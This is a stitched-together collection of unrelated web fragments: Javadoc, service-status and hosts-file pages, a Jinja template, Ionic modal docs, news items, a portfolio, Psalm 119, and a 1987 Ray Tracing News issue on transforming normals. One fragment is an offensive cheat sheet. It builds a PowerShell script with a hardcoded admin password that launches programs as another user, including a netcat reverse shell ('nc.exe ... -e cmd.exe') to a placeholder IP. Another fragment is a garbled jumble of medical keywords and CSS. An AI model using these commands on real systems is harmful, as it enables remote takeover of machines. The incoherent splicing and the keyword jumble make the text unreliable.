| Method Detail |
protected static SubscriptionFacade getInstance()
protected void installOutputFilters(FilterManagerInterface filterMan)
public void subscribe(MessageInterface msg, SubscriberInterface si) throws YanceesException
msg
- is a message having si
- is a callback interface of the subscriber.
YanceesException
public void unsubscribe(SubscriberInterface si) throws YanceesException
si
- the callbabk interface of the subscriber
YanceesException
- in case there is no subscriptions associated to this subscriberpublic void unsubscribe(SubscriberInterface si, MessageInterface sub) throws YanceesException
si
- the callbabk interface of the subscribersub
- the specifi subscription to be descontinued
YanceesException
- in case there is no subscriptions associated to this subscriberprotected void setNotificationManger(NotificationManager nm)
nm
- the NotificatoinManager instance to be used.protected void setSubscriptionManager(SubscriptionManager sm)
|
|||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Current status of Minecraft services
Login
Loading…
Session
Loading…
Website
Loading…
Textures
Loading…
Realms
Loading…
This will not work without JavaScript enabled


Hosts file
Location
- Open Notepad under an administrator account
- Right click, select Run as Administrator
- Open file: C:\windows\system32\drivers\etc\hosts
Settings
- Default file has no entries, only has lines that are blank or start with #
- Disable any entry lines by adding a # to the start of the line


NetJournal
Check in with yourself
About
Help
What Sites am I Journaling?
Where is my Journal Saved?
Google Docs
Save to Google Docs
{{signedIntoGoogle ? 'Sign Out of Google Account' : 'Sign Into Google Account'}}
Post to Google
Change Directory
Download to Computer
Download to downloads folder on computer
post to drive


Full name
Email
Street name
House number
Choose payment method Card Swish Magic money Your first born child Body parts
Non-binary Male Female


Offline Strategy — Demo App (use
Hybrid
strategy)
Disable internet
connection to see how works offline mode.
Refresh page
See
all strategies
to choose best for you.


{% extends "main.html" %} {% block maincontent %}
{{user_info}}
{{user}}
Email: {{user.email_address}}
You verified your email successfully. Feel free to browse around.


respiratory (.) virus {border-style RSV use children influenza px;} #ffffff;} (.%) antibiotic (.â€".) detection identification viruses therapy cases (â€") study CAP diagnostic performed pneumonia tests duration mPCR px; {font-family font-size result syncytial test viral admitted antibiotics decrease double; los techniques value Elsevier Infect bacterial border-color border-width cases, clinical community-acquired compared consumo days different impact paediatric resource solid; variables {font-style {font-weight (.%). .). COVID- acquired antibiÃ³ticos associated bold centre community courier; del diagnosis em; ingresados lower pacientes panel pt;} rapid significant using viruses. vs. years â‰¥


Multifact-PivotTable.js
A JavaScript plugin for PivotTable.js. It renders multiple aggregations simultaneously along with dynamic aggregations based on expressions
A pivot table made using multifact-pivottable plugin
Features
- Add multiple aggregations to the same pivottable : AVG(Column A), SUM(Column B)
- Add derived aggregations :
a = AVG(Column A)
b = SUM(Column B)
[c = b/a] as 'Success Score' - Hide an aggregate (in case you want to use the value in derived aggregate but not show it)
- Hide an aggregate from row-totals section
- Enhance rendering of aggregations using heatmap or barchart
- Custom heatmap colors for each aggregation
Examples
- Multiple Aggregations
- Using Derived Aggregations
- Using tooltip on hover
- Minimal theme for pivottable (Coming soon)
Made with by pranjalgoswami


ABOUT THE EVENT
APTITUDE AND GENERAL KNOWLEDGE TEST
DESCRIPTION
- The quiz contains Round 1 (40 questions in 20 mins) of aptitude test + Round 2 (40 questions in 20
mins) based on computer knowledge from different aspects of computer programming. Each question
will have some points allotted to it.
- Round 1: Elimination Round. Individual will need to get into top 15 in order to clear this round.
- Round 2 : Final Round. Questions set will be provided to the participants and they have to choose
the correct options. Top 3 scorers will be the winner. In case of tie winner will be decided on the
basis of time they took to complete the quiz.
JUDGING AND WINNING
- Only 1st 3 position will be awarded certificates and mementos.
- Result will be declared on the spot for every round.
RULES
- Late entries will not be entertained.
- Participants are not allowed to access Internet during the event. Any participant found cheating
will be disqualified immediately.
- The participants will have to maintain a code of conduct and ensure the smooth progress of event.
PARTICIPATION
- The event is open for 1st and 2nd year students only. Participants can get themselves registered in
advance.
- This is a solo round.
- Teams can get themselves registered in advance.


WITNESS LIST Home Health & Assisted Living Facilities(Int) Committee February 17, 1998-9:30A HOME HEALTH/ASSISTED LIVING FAC. On: Beckley, Drew (Electronic Data Systems), Austin Beechinor, Julia R. (TDH), Austin Bost,Eric M. (Commissioner, TDHS), Austin Bradberry, Anita (TAHC), Austin Brown, Judy (HCFA), Dallas Davies, Kathleen (Bd. Voc.Nurse Examiners), Austin Diggs, Anthony (Bd. of Nurse Examiners), Austin Donnelly, Denise (Office of Attorney Gen.), Austin Graham, Bobbe (Lic.Voc.Nurses Assn.Tx.), Austin Handel, M. D., Paul (Tx. Medical Association), Austin Herskowitz, Robin (Tx. Compt. Public Accts), Austin Jakovich, Derek J. (TDH), Austin Johnson, Jacqueline (TDHS), Austin Johnson, Kathy (TDH), Houston Levy, M.D.,J.D., Bruce (Director, TSBME), Austin LeBrun, Aurora F. (THHSC), Austin Mansolo, Ron (TDH), Austin McKinney, M.D. Michael (Commissioner, THHSC), Austin Moll, RN, Janet (Tx. Nurses Association), Austin Stearman, Nance (TDH), Austin Taylor, Florence D. (Lic.Voc.Nurses Assn.Tx.), Dallas Thomas, Katherine A. (Bd. of Nurse Examiners), Austin


Improve this Doc
Modals slide in off screen to display a temporary UI, often used for login or signup pages,
message composition, and option selection.
Basic Usage
Demo Source
Next, we need to create the class that will control our modal. Let's import `Modal` and `NavController`:
```typescript
import {Modal, NavController} from 'ionic/ionic';
```
Next, let's create our modal and define add its template:
```typescript
@Page({
template: `
I'm a modal!
`
})
class MyModal {
constructor() {
}
}
```
Finally, let's add the code that will open our Modal:
```typescript
import {Modal, NavController} from 'ionic/ionic'
class MyPage {
constructor(nav: NavController){
this.nav = nav;
}
showModal() {
let modal = Modal.create(MyModal);
this.nav.present(modal)
}
}
```
The `Modal.create()` function can also receive an object as the second argument that will be passed to the modal. See the [Modal API docs](/docs/v2/api/components/modal/Modal/) for more information.


Run arbitrary program(shell) as specified user
echo %computername%
where cmd
echo $secpasswd = ConvertTo-SecureString "x-files" -AsPlainText -Force > run.ps1
echo $mycreds = New-Object System.Management.Automation.PSCredential ("admin", $secpasswd) >> run.ps1
echo $computer = "ADMIN-PC" >> run.ps1
echo [System.Diagnostics.Process]::Start("C:\xampp\htdocs\admin\rev82.exe","", $mycreds.Username, $mycreds.Password, $computer) >> run.ps1
<
Command templates
echo [System.Diagnostics.Process]::Start("C:\Windows\System32\cmd.exe","", $mycreds.Username, $mycreds.Password, $computer) >> run.ps1
echo [System.Diagnostics.Process]::Start("C:\Users\Franta\Desktop\nc.exe","-nv <IP_ADDRESS> 81 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer) >> run.ps1


Teen breaks legs after police chase leads to jump from airport terminal roof
by Associated PressOKLAHOMA CITY — Authorities say a teenager broke both his legs after leaping from an Oklahoma City airport terminal roof while being chased by officers.
An Oklahoma City police statement says the 16-year-old male was exiting a Houston-to-Oklahoma City flight at Will Rogers World Airport when police approached with a felony burglary warrant. Police say he slipped out a side door on the jet bridge, ran across the terminal apron and climbed to the terminal roof in a bid to avoid capture.
As officers continued their pursuit across the roof, police say, the teen jumped to the apron below, breaking both legs. He was taken to an Oklahoma City hospital for treatment.


This exercise will ask you to evaluate a series of job applications. It is up to you to decide which candidates will be invited for an interview and which candidates will be rejected. After viewing each application, please click the "interview" button if you would like to interview the candidate for the position. Otherwise, click the "reject" button to remove the candidate from the pool of applicants.
At the end of the exercise, you will receive your results along with information about how they may reflect common implicit biases in the job application process


Dance Music Generator (C#, Unity, HoloLens)
Solo Project - Programmer
This is an application on the HoloLens that generates a dubstep tune as the player keeps moving.
Check it out on GitHub!
Holographic 3D Ball Maze (C#, Unity, HoloLens)
Solo Project - Programmer
This is a game for the HoloLens that uses Vuforia's marker detection to let players physically tilt a paper to guide a ball through a maze.
Check it out on GitHub!
The Vacuum (C#, Unity)
Group Class Project - Lead Programmer
This is a game where players must navigate through a pitch-black maze and overcome enemies using a gun that shoots out light. I was in charge of the code infrastructure and representing the map as a graph.
Check it out on GitHub!
Train Game Engine (C++, OpenGL)
Solo Class Project - Programmer
This is a Game Engine written in C++ that uses OpenGL to handle all the graphics. Features that are implemented in the engine include physics, collision detection, lighting, and much more!
Check it out on GitHub!
SanDefense (C#, Unity)
Group Project - Programmer
This Global Game Jam '17 submission is a tower defense game where you build sand castles to fight off hermit crabs. After each wave, the ocean would wash up debris, forcing the player to adapt.
Check it out on GitHub!
Fantasy Forest (C#, Unity)
Solo Class Project - Programmer
A simulation which implements Craig Reynold's steering behaviors (such as complex path following and flocking) to create agents acting out a typical scene from an MMORPG forest.
Check it out on GitHub!
Game Jam(C#, Unity)
Group Project - Technical Artist
Made within 24 hours, this is a team-based game in which two players must coordinate to cast the correct spell and navigate the little mage through hordes of eneimes.
Check it out on GitHub!
Virtual Garden (JavaScript, Canvas)
Solo Class Project - Programmer
An interactive artwork based inspired from concepts of Gestalt Psychology. This black-and-white garden utilizes perlin noise to create life-like, soothing appearances and behaviors.
Check it out on GitHub!
Blank Canvas (C#, XNA)
Group Class Project - Lead Programmer
A platformer game where the player must drain color away from the enemy and combine them to solve puzzles and bring color back to this child-like world.
Check it out on GitHub!


Ryan Day Issues Update On Ohio State QB Justin Fields
by Andrew McCartyOn Saturday afternoon, Ohio State took care of business against Penn State to keep its undefeated season alive. With a 28-17 win, the Buckeyes clinched a spot in the Big Ten title game by winning the Big Ten East.
Even a loss against Michigan next weekend can’t keep the Buckeyes from the title game, though Ohio State doesn’t plan to lose that one.
In the final minutes of the fourth quarter, Ohio State quarterback Justin Fields appeared to suffer an injury. On a fourth-down play, Fields attempted to escape the Penn State rush.
He was tackled and appeared to have his leg roll awkwardly underneath him. Fields stayed on the ground for a minute before eventually jogging off the field under his own power.
After the game, Ohio State head coach Ryan Day updated the status of his star quarterback.
“He’s good,” Day said about Fields.
That’s great news for the Buckeyes as they head into the final week of the regular season.
Fields is undoubtedly one of the best quarterbacks in the country and pivotal to Ohio State’s success this year. The Buckeyes have their sights set on a Big Ten title and potential College Football Playoff berth.
Next up is a trip to Michigan.


119
Your Word Is a Lamp to My Feet
ALEPH
1 Blessed are those whose way is blameless,
who walk in the law of the LORD!
2 Blessed are those who keep his testimonies,
who seek him with their whole heart,
3 who also do no wrong,
but walk in his ways!
4 You have commanded your precepts
to be kept diligently.
5 Oh that my ways may be steadfast
in keeping your statutes!
6 Then I shall not be put to shame,
having my eyes fixed on all your commandments.
7 I will praise you with an upright heart,
when I learn your righteous rules.
8 I will keep your statutes;
do not utterly forsake me!
BETH
9 How can a young man keep his way pure?
By guarding it according to your word.
10 With my whole heart I seek you;
let me not wander from your commandments!
11 I have stored up your word in my heart,
that I might not sin against you.
12 Blessed are you, O LORD;
teach me your statutes!
13 With my lips I declare
all the rules of your mouth.
14 In the way of your testimonies I delight
as much as in all riches.
15 I will meditate on your precepts
and fix my eyes on your ways.
16 I will delight in your statutes;
I will not forget your word.

DALETH
25 My soul clings to the dust;
give me life according to your word!
26 When I told of my ways, you answered me;
teach me your statutes!
27 Make me understand the way of your precepts,
and I will meditate on your wondrous works.
28 My soul melts away for sorrow;
strengthen me according to your word!
29 Put false ways far from me
and graciously teach me your law!
30 I have chosen the way of faithfulness;
I set your rules before me.
31 I cling to your testimonies, O LORD;
let me not be put to shame!
32 I will run in the way of your commandments
when you enlarge my heart!

WAW
41 Let your steadfast love come to me, O LORD,
your salvation according to your promise;
42 then shall I have an answer for him who taunts me,
for I trust in your word.
43 And take not the word of truth utterly out of my mouth,
for my hope is in your rules.
44 I will keep your law continually,
forever and ever,
45 and I shall walk in a wide place,
for I have sought your precepts.
46 I will also speak of your testimonies before kings
and shall not be put to shame,
47 for I find my delight in your commandments,
which I love.
48 I will lift up my hands toward your commandments, which I love,
and I will meditate on your statutes.
ZAYIN
49 Remember your word to your servant,
in which you have made me hope.
50 This is my comfort in my affliction,
that your promise gives me life.
51 The insolent utterly deride me,
but I do not turn away from your law.
52 When I think of your rules from of old,
I take comfort, O LORD.
53 Hot indignation seizes me because of the wicked,
who forsake your law.
54 Your statutes have been my songs
in the house of my sojourning.
55 I remember your name in the night, O LORD,
and keep your law.
56 This blessing has fallen to me,
that I have kept your precepts.

KAPH
81 My soul longs for your salvation;
I hope in your word.
82 My eyes long for your promise;
I ask, “When will you comfort me?”
83 For I have become like a wineskin in the smoke,
yet I have not forgotten your statutes.
84 How long must your servant endure?
When will you judge those who persecute me?
85 The insolent have dug pitfalls for me;
they do not live according to your law.
86 All your commandments are sure;
they persecute me with falsehood; help me!
87 They have almost made an end of me on earth,
but I have not forsaken your precepts.
88 In your steadfast love give me life,
that I may keep the testimonies of your mouth.

MEM
97 Oh how I love your law!
It is my meditation all the day.
98 Your commandment makes me wiser than my enemies,
for it is ever with me.
99 I have more understanding than all my teachers,
for your testimonies are my meditation.
100 I understand more than the aged,
for I keep your precepts.
101 I hold back my feet from every evil way,
in order to keep your word.
102 I do not turn aside from your rules,
for you have taught me.
103 How sweet are your words to my taste,
sweeter than honey to my mouth!
104 Through your precepts I get understanding;
therefore I hate every false way.
NUN
105 Your word is a lamp to my feet
and a light to my path.
106 I have sworn an oath and confirmed it,
to keep your righteous rules.
107 I am severely afflicted;
give me life, O LORD, according to your word!
108 Accept my freewill offerings of praise, O LORD,
and teach me your rules.
109 I hold my life in my hand continually,
but I do not forget your law.
110 The wicked have laid a snare for me,
but I do not stray from your precepts.
111 Your testimonies are my heritage forever,
for they are the joy of my heart.
112 I incline my heart to perform your statutes
forever, to the end.

AYIN
121 I have done what is just and right;
do not leave me to my oppressors.
122 Give your servant a pledge of good;
let not the insolent oppress me.
123 My eyes long for your salvation
and for the fulfillment of your righteous promise.
124 Deal with your servant according to your steadfast love,
and teach me your statutes.
125 I am your servant; give me understanding,
that I may know your testimonies!
126 It is time for the LORD to act,
for your law has been broken.
127 Therefore I love your commandments
above gold, above fine gold.
128 Therefore I consider all your precepts to be right;
I hate every false way.

QOPH
145 With my whole heart I cry; answer me, O LORD!

RESH
153 Look on my affliction and deliver me,
for I do not forget your law.
154 Plead my cause and redeem me;
give me life according to your promise!
155 Salvation is far from the wicked,
for they do not seek your statutes.
156 Great is your mercy, O LORD;
give me life according to your rules.
157 Many are my persecutors and my adversaries,
but I do not swerve from your testimonies.
158 I look at the faithless with disgust,
because they do not keep your commands.
159 Consider how I love your precepts!
Give me life according to your steadfast love.
160 The sum of your word is truth,
and every one of your righteous rules endures forever.
SIN and SHIN
161 Princes persecute me without cause,
but my heart stands in awe of your words.
162 I rejoice at your word
like one who finds great spoil.
163 I hate and abhor falsehood,
but I love your law.
164 Seven times a day I praise you
for your righteous rules.
165 Great peace have those who love your law;
nothing can make them stumble.
166 I hope for your salvation, O LORD,
and I do your commandments.
167 My soul keeps your testimonies;
I love them exceedingly.
168 I keep your precepts and testimonies,
for all my ways are before you.


"Light Makes Right"
September-December, 1987
Volume 0 (we're C programmers, right?)
Compiled by
All contents are copyright (c) 1987, all rights reserved by the individual authors
Archive locations: anonymous FTP at
ftp://ftp-graphics.stanford.edu/pub/Graphics/RTNews/,
wuarchive.wustl.edu:/graphics/graphics/RTNews, and many others.
You may also want to check out the Ray Tracing News issue guide and the ray tracing FAQ.
This is the first archive collection of "The Ray Tracing News". I hope you will get as much use out of it as I have,
Eric Haines, 3D/Eye Inc, 2359 N. Triphammer Rd, Ithaca, NY 14850 ...!hpfcla!hpfcrs!eye!erich___________________________
I'm presently keeping the list up-to-date. As far as adding new people to this mailing list, I'd personally like to see the list not grow without bounds. Given that the Intro to Ray Tracing course had the highest attendance, there's obviously a lot of people interested in ray-tracing. The group presently consists of researchers and people building ray-tracing systems, and it'd be nice to keep it at this level (and keep all of our long-distance e-mail costs down).
First off, a quick announcement: if you didn't get a copy of the "Intro. to Ray Tracing" course notes at SIGGRAPH 87 and would like a copy (they sold out twice), send me $20 and I'll xerox them. There are only three articles which are reprints - the rest is new stuff and pretty worthwhile.
back to contents
Netlib has two addresses. One is:
...!hplabs!hpfcla!research!netlib
(There may be other quicker routes to netlib - you'll have to research that yourself). The second one may be more convenient, as it is an arpa connection:
<EMAIL_ADDRESS>So after you do "mail [...!]hplabs!hpfcla!research!netlib", the next step is to request what you want, one line per request. For example, to get my databases, simply type on a single line (and don't have anything else on the line):
send haines from graphics
and end the message. Netlib is computerized, and will automatically parse your message and send you the 82K bytes of dox & code for my databases.
The best way to find out about netlib and what it has to offer is to send it a request:
send index
and you'll get sent a listing of all the libraries available. It's mostly numerical analysissy stuff (lots'o'matrix solvers), but there are some things of interest. One particularly yummy database is the "polyhedron" contributions. There are some 142 polyhedra descriptions (vertices, faces, & edge descriptions and more). Some of these descriptions are buggy, but most are good (as netlib says, "Anything free comes with no guarantee").
As far as the question "what do the images look like?" goes, the images will be published in IEEE CG&A in November.
back to contents
To kick off discussion of this problem, John Peterson, who is researching this question at the University of Utah, was kind enough to spend some time on a response to me. His reply follows (printed with his permission):
___________________________
RE ray tracing splines.. I've sent a paper on ray tracing splines via polygons to TOG, but since that's going to be stuck in the review process for a while, here's an overview:
Most of the recent published stuff on this have been approaches using numerical methods; which I would avoid like the plague. I recently discovered that Whitted mentions surface subdivision very briefly in his classic paper (CACM '80) and also in Rubin & Whitted (SIGGRAPH '80). The technique they use was to subdivide the surface "on the fly", i.e., an area of surface is split only when rays come near it. Whitted doesn't go into any detail in these papers though, just a couple of paragraphs each.
However, Whitted's motivation for "subdivision on the fly" was lack of memory on his PDP-11 - nowadays I think you're better off just to do all the subdivision initially, then throw the surface away - much less bookkeeping. The polygon/bounding volume database isn't that huge if you use adaptive surface subdivision (more on that in a moment).
In terms of references, I'd highly recommend the "Killer B's" - "An Introduction to the Use of Splines in Computer Graphics" by Bartels, Beatty and Barsky. It appeared as SIGGRAPH tutorial notes in '85 and '86, and I think a book version is coming out from Kaufmann(sp?) in September. Another good reference is, "A Survey of Curve and Surface Methods in CAGD", by Bohm, Farin and Kahmann, in "Computer Aided Geometric Design", July 1984. Both of these give excellent background on all the math you'll need for dealing with splines. If you need to know about rationals, see Tiller's paper "Rational B-Splines for Curve and Surface Representations" in CG&A, September '83.
The subdivision algorithm I used is based on the Oslo Algorithm (Cohen, Lyche & Riesenfeld, Computer Graphics & Image Proc., Oct. 1980). This is a little slower than some of the other subdivision algorithms, but the win is that you're not restricted to specific orders or knot vectors. Since the subdivision time is generally small compared to the ray tracing time (like < 10%) I find it's worth the generality. (By the way, the Killer B's description of the Oslo algorithm is much easier reading than the CG&IP article. Sweeney's paper in the Feb. '86 CG&A also has a good description of it). Other subdivision classics are Ed Catmull's PhD thesis (U. Utah, '75) and Lane, Carpenter, Whitted & Blinn's article in the Jan. '80 CACM.
A couple tricks are noteworthy. First, if you're doing adaptive surface subdivision, you'll need a "flatness criteria" (to determine when to quit splitting the surface). I've found a good approximation is to take the bounding box of the control mesh, and find the point in the middle of it. Then project the size of a pixel onto this point, and use this distance as a flatness criteria.
Other trick: Crack prevention. If you split a surface into two parts, one part may get subdivided more than the other. If this happens, along the seam between the two halves you need to force the polygon vertices in the side with more divisions to lie on the edge of the surface with fewer subdivisions.
_________________________
My reply to John follows:
Thanks much for taking the time to tell me about splines and your findings. You leave me in a quandary, though. I'm interested in the numerical techniques for bicubics, but I also want to take your warnings to heart.
I have to admit, I have a great fear of throwing away the nice compact spline description and blow it up into tons of polygons. From your comments, you say that using adaptive techniques can help avoid this problem. You seem to divide to the pixel level as your criteria - hmmm, I'll have to think about that. Avoiding cracks sounds like a headache. Also, it seems to me that you'll have problems when you generate reflection rays, since for these rays the "flatness criteria" is not necessarily valid. Have you ever noticed practical problems with this (one pathological example I can think of is a lens in front of a spline patch: the lens magnifies the pixel sized patches into much larger entities. However, almost everything has pathological problems of some sort. Have you run into any problems due to your method on a practical level)?
I may try subdividing on the fly to avoid all this. To this end, have you looked at Ron Pulleyblank's routine for calculating bicubic patch intersections (IEEE CG&A March 1987)? What do you think of his "on the fly" subdivision algorithm?
Articles: thanks for the references. Have you seen the article by Levner, Tassinari, and Marini, "A Simple Method for Ray Tracing Bicubic Surfaces," in Computer Graphics 1987, T.L. Kunii editor, Springer-Verlag, Tokyo? Sounded intriguing - someone's hopefully going to get me a copy of it soon if you don't have it and would like a copy. If you do have a copy, is it any good?
__________________________
Now, here's John's response:
RE: Numerical techniques. I guess grim memories of round-off errors and consistently inconsistent results may bias my opinion, but there are some fundamental reasons for the problems with numerical methods. Finding roots of systems of two equations is inherently an unstable process (for a good description of this, see section 9.6 in "Numerical Recipes" by William Press, et. al.). Another way to think about iterative approximations in two variables is the chaotic patterns you see Mandlebrot sets. It's (very roughly) the same idea. Chaos and ray tracing don't mix...
Your comments about the flatness criteria are true, though in practice I've only found one "practical" instance where it really poses a problem. This is when a light source is very close to an object, and casts a shadow on a wall some distance away. The shadow projection magnifies the surface's silhouette onto the wall, and in some cases you see some faceting in the shadow's edge. The work-around is to have a per-surface "resolution factor" attribute. The flatness criteria found by projecting the pixel is multiplied by this factor, so a surface with a "res factor" of 0.5 may generate up to twice as many polygons as it normally would (extra polygons are generated only where the surface is really curved, though).
In order to get a feel for just how much data subdivision generates, I tried the following experiment. I took the code for balls.c (from the procedural database package you posted) and modified it to generate a rational quadratic Bezier surface for each sphere (as well as bounding volumes around each "group" of spheres). I didn't do the formal benchmark case (too lazy), but just choose a view where all the spheres (level 2 == 91 of them) just filled the screen. The results look like this:
Image Size Triangles (pixels) generated 128x128 7800 512x512 30400
The original spline surface definition wasn't small, each sphere has 45 rational (homogeneous) control points + knot vectors. My philosophy at the moment is that the algorithms for handling lots of trivial primatives win over those for handling a few complex ones. Right now the "lots of little primatives" camp has a lot of strong members (Octrees/Voxels, Kay/Kajiya/Caltech, Arvo & Co, etc). If you just want to maximize speed, I think these are difficult to beat, but they do eat lots of memory.
I'd be very interested in seeing a software implementation of Pulleyblank's method. The method seemed very clever, but it was very hardware oriented (lots of integer arithmetic, etc). I guess the question is whether or not their subdivision algorithm is faster than just a database traversal. Something like Kay/Kajiya or Arvo's traversal methods would probably scream if you could get them to run in strictly integer arithmetic (not to mention putting them in hardware...)
Cheers,
jp
__________________________
Anywell, that's the discussion as far as it's gone. We can continue it in one of two ways: (1) everyone writes to everyone on the subject (this is quick, but can get confusing if there are a lot of answers), (2) send replies to me, which I'll then send to all. I opt for (1) for now: if things get confusing we can always shift to (2).
[Actually, we're shifting to (2) around now, though it seems worthwhile to pass on your comments to all, if you're set up to do it. A summary of the comments will (eventually, probably) get put in Andrew's ray-tracing newsletter.]
More responses so far:
>From Jeff Goldsmith:
Re: flatness criterion
The definition that JP gave seems to be based on pixel geometry. That doesn't seem right. Why not subdivide until you reach subpatches that have preset limits in the change in their tangent vector (bounded curvature?) Al Barr and Brian Von Herzen have done some formal studies of that in a paper given this year. (It wasn't applied to ray tracing, but it doesn't matter.) I used that technique for creating polygonal representations of superquadrics with fair to good success. The geometric criterion makes sure that not much happens to the surface within a patch, which is what you really want, anyway.
I, too, by the way, believe in the gobs of polygons vs. one compicated object tradeoff. The two seem to be close in speed, but polygons saves big time in that you never need new code for your renderer. I hate writing (debugging) renderer code because it takes so long. Modeling code is much faster.
--Jeff
>From Tim Kay:
Subject: ray tracing bicubic patches
The discussion about subdivision was interesting. I just want to point out that a paper in this year's proceedings (Snyder and Barr) did just what the discussion suggested. The teapot was modeled with patches, and John hacked them up into very small polygons. He also talked about some of the problems that you run into.
Tim
__________________
>From Brian Barsky:
What numerical techniques is John referring to? He doesn't mean the resolvent work, does he?
____________________________
Response from John Peterson:
I was using a modified version of Sweeney's method. It was extended in two ways; first, a more effective means was used to generate the bounding volumes around the mesh, and it was able to handle surfaces with arbitrary orders and knot vectors. I wrote up the results in a paper that appeared in a very obscure proceedings (ACM Rocky Mnt. Regional Conference, Santa Fe, NM, Nov. 1986)
back to contents
My contribution for the week is an in-house memo I just wrote on transforming normals, which is easier that it sounds. Some of you have undoubtedly dealt with this long ago, but hopefully I'll notify some poor soul that all is not simple with normal transforms. Pat Hanrahan mentioned this problem in his talk at the SIGGRAPH '87 Intro to Ray Tracing course, but I didn't really understand why he was saying "don't use the modeling matrix to transform normals!" Now I do, and I thought I'd explain it in a fairly informal way. Any comments and corrections are appreciated!
Abnormal Normals
Eric Haines, 3D/Eye Inc.
The problem: given a polygon and its normal(s) and a modeling matrix, how do we correctly transform the polygon from model to world space? We assume that the modeling matrix is affine (i.e. no perspective transformation is going on).
This question turns out to be fraught with peril. The right answer is to transform the vertices using the modeling matrix, and to transform the normals using the transpose of the inverse (also known as the adjunct) of the modeling matrix. However, no one believes this on first glance. Why do all that extra work of taking the inverse and transposing it? So, we'll present the wrong answers (which are commonly used in the graphics community nonetheless, sometimes with good reason), then talk about why the right answer is right.
Wrong answer #1: Transform the normals using the modeling matrix. What this means is multiplying the normal [ x y z 0 ] by the modeling matrix. This actually works just fine if the modeling matrix is formed from translation matrices (which won't affect the normal transformation, since translations multiply the 'w' component of the vector, which is 0 for normals) and rotation matrices. Scaling matrices are also legal, as long as the x, y, and z components are the same (i.e. no "stretching" occurs). Reflection matrices (where the object is flipped through a mirror plane - more about these later) are also legal, as long as there is no stretching. Note that scaling will change the overall length of the vector, but not the direction.
So what's wrong? Well, scaling matrices which stretch the object (i.e. whose scaling factors are not all the same for x, y, and z) ruin this scheme. Imagine you have a plane at a 45 degree tilt, formed by the equation x = y (more formally, x - y = 0). Looking down upon the x-y plane from the z axis, the plane would appear as a line x = y. The plane normal is [ 1 -1 0 ] (for simplicity don't worry about normalizing the vector), which would appear to be a ray where x = -y, x > 0. Now, say we scale the plane by stretching it along the x axis by 2, i.e. the matrix:
[ 2 0 0 0 ] [ 0 1 0 0 ] [ 0 0 1 0 ] [ 0 0 0 1 ]
This would form a plane in world space where x = 2y. Using the method of multiplying the normal by this modeling matrix gives us a ray where x = -2y, x > 0. The problem with this ray is that it is not perpendicular to our plane. In fact, the normal is now 2x = -y, x > 0. Therefore, using the modeling matrix to transform normals is wrong for the stretching case.
^+Y ^normal ^+Y .../^normal | \ . | \__ .../ | \ . | \__../ | \. | \__ | \ | \_ +---------> X+ +---------------> X+
Figure 1 (a) & (b) - Incorrect Stretching Transformation
Wrong answer #2: Transform the vertices, then calculate the normal. This is a limited response to the wrongness of method #1, solving the stretching problem. It's limited because this method assumes the normal is calculated from the vertices. This is not necessarily the case. The normals could be supplied by the user, given as a normal for the polygon, or on a normal per vertex basis, or both. However, even if the system only allowed normals which were computed from the vertices, there would still be a direction problem.
Say the method used to calculate the normal is to take the cross product of the first two edges of the polygon (This is by far the most common method. Most other methods based on the local geometry of the polygon will suffer from the same problem, or else the problem in method #1). Say the vertices are [ 1 0 0 ], [ 0 0 0 ], and [ 0 -1 0 ]. The edge vectors (i.e. the vector formed from subtracting one vertex on the edge from the other vertex forming that edge) are [ 1 0 0 ] and [ 0 1 0 ], in other words the two edge vectors are parallel to the +x and +y axes. The normal is then [ 0 0 1 ], calculated from the cross product of these vectors.
If we transform the points by the reflection matrix:
[ 1 0 0 0 ] [ 0 1 0 0 ] [ 0 0 -1 0 ] [ 0 0 0 1 ]
the result is the same: none of the edges actually moved. However, when we use a reflection matrix as a transform it is assumed that we want to reverse the object's appearance. With the above transform the expected result is that the normal will be reversed, thereby reversing which side is thought of as the front face. Our method fails on these reflection transforms because it does not reverse the normal: no points changed location, so the normal will be calculated as staying in the same direction.
The right (?) answer: What (usually) works is to transform the normals with the transpose of the inverse of the modeling matrix. Rather than trying to give a full proof, I'll talk about the three types of matrices which are relevant: rotation, reflection, and scaling (stretching). Translation was already seen to have no effect on normals, so we can ignore it. Other more obscure affine transformations (e.g. shearing) are avoided in the discussion, though the method should also hold for them.
In the case of rotation matrices and reflection matrices, the transpose and the inverse of these transforms are identical. So, the transpose of the inverse is simply the original modeling matrix in this case. As we saw, using the modeling matrix worked fine for these matrices in method #1. The problems occurred with stretching matrices. For these, the inverse is not just a transpose of the matrix, so the transpose of the inverse gives a different kind of matrix. This matrix solves our problems. For example, with the bad stretching case of method #1, the transpose of the inverse of the stretch matrix is simply:
[ 0.5 0 0 0 ] [ 0 1 0 0 ] [ 0 0 1 0 ] [ 0 0 0 1 ]
(note that the transpose operation is not actually needed in this particular case). Multiplying our normal [ 1 -1 0 ] by this matrix yields [ 0.5 -1 0 ], or the equation 2x = -y, x > 0, which is the correct answer.
The determinant: One problem with taking the inverse is that sometimes it isn't defined for various transforms. For example, casting an object onto a 2D x-y plane:
[ 1 0 0 0 ] [ 0 1 0 0 ] [ 0 0 0 0 ] [ 0 0 0 1 ]
does not have an inverse: there's no way to know what the z component should turn back into, given that the above transform matrix will always set the z component to 0. Essentially, information has been irretrievably destroyed by this transform. The determinant of the upper-left 3x3 matrix (the only part of the matrix we really need to invert for the normal transform) is 0, which means that this matrix is not invertable.
An interesting property of the determinant is that it, coupled with method #2, can make that method work. If the determinant of the 3x3 is positive, we have not shifted into the mirror world. If it is negative, then we should reverse the sign of the normal calculated as we have entered the mirror universe).
It would be nice to get a normal for polygons which have gone through this transform. All bets are off, but some interesting observations can be made. The normal must be either [ 0 0 1 ] or its negative [ 0 0 -1 ] for this transformation (or undefined, if all vertices are now on a single line). Choosing which normal is a bit tricky. One OK method is to check the normal before transform against [ 0 0 1 ]: if the dot product of the two is negative, then reverse the normal so that it will point towards the original direction. However, if our points went through the z-reflection matrix we used earlier, then went through the transform above, the normals were reversed, then the object was cast onto the x-y plane. In this case we would want to have the reverse of the normal calculated from the edges. However, this reversal has been lost by our casting transform: concatenating the reflection matrix with the casting matrix yields the same casting matrix. One tricky way of preserving this is to allow 0 and -0 to be separate entities, with the sign of zero telling us whether to reverse the normal or not. This trick is rather bizarre, though - it's probably easier to just do it the simple way and warn whoever's using the system to avoid non-invertable transformations.
THE END:
